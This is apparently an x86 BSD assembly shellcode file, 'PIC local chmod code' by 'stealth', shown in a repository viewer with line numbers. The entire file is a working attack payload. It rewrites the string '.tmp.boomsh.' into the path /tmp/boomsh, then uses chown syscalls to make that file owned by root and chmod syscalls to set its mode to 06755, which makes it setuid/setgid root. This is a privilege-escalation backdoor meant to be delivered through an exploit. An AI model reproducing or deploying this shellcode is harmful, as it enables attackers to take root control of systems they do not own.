blob: 6f19d237be6b8996fcbd7e2ed464de8c49026312 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
/* x86/BSD PIC local chmod code
*
* by stealth
*/
.globl cbegin
.globl cend
cbegin:
jmp boomsh
foo: popl %ebx
incl (%ebx)
incl 4(%ebx)
xorl %eax, %eax
movb %al, 11(%ebx)
movb $16, %al /* chown */
xorl %ecx, %ecx
pushl %ecx
pushl %ecx
pushl %ebx
pushl $1
sys_1: int $0x80
xorl %eax, %eax /* chmod */
movb $15, %al
pushw $06755
pushl %ebx
pushl $1
sys_2: int $0x80
xorl %eax, %eax
incl %eax /* exit */
pushl $1
sys_3: int $0x80
boomsh: call foo
.string ".tmp.boomsh.";
cend:
|
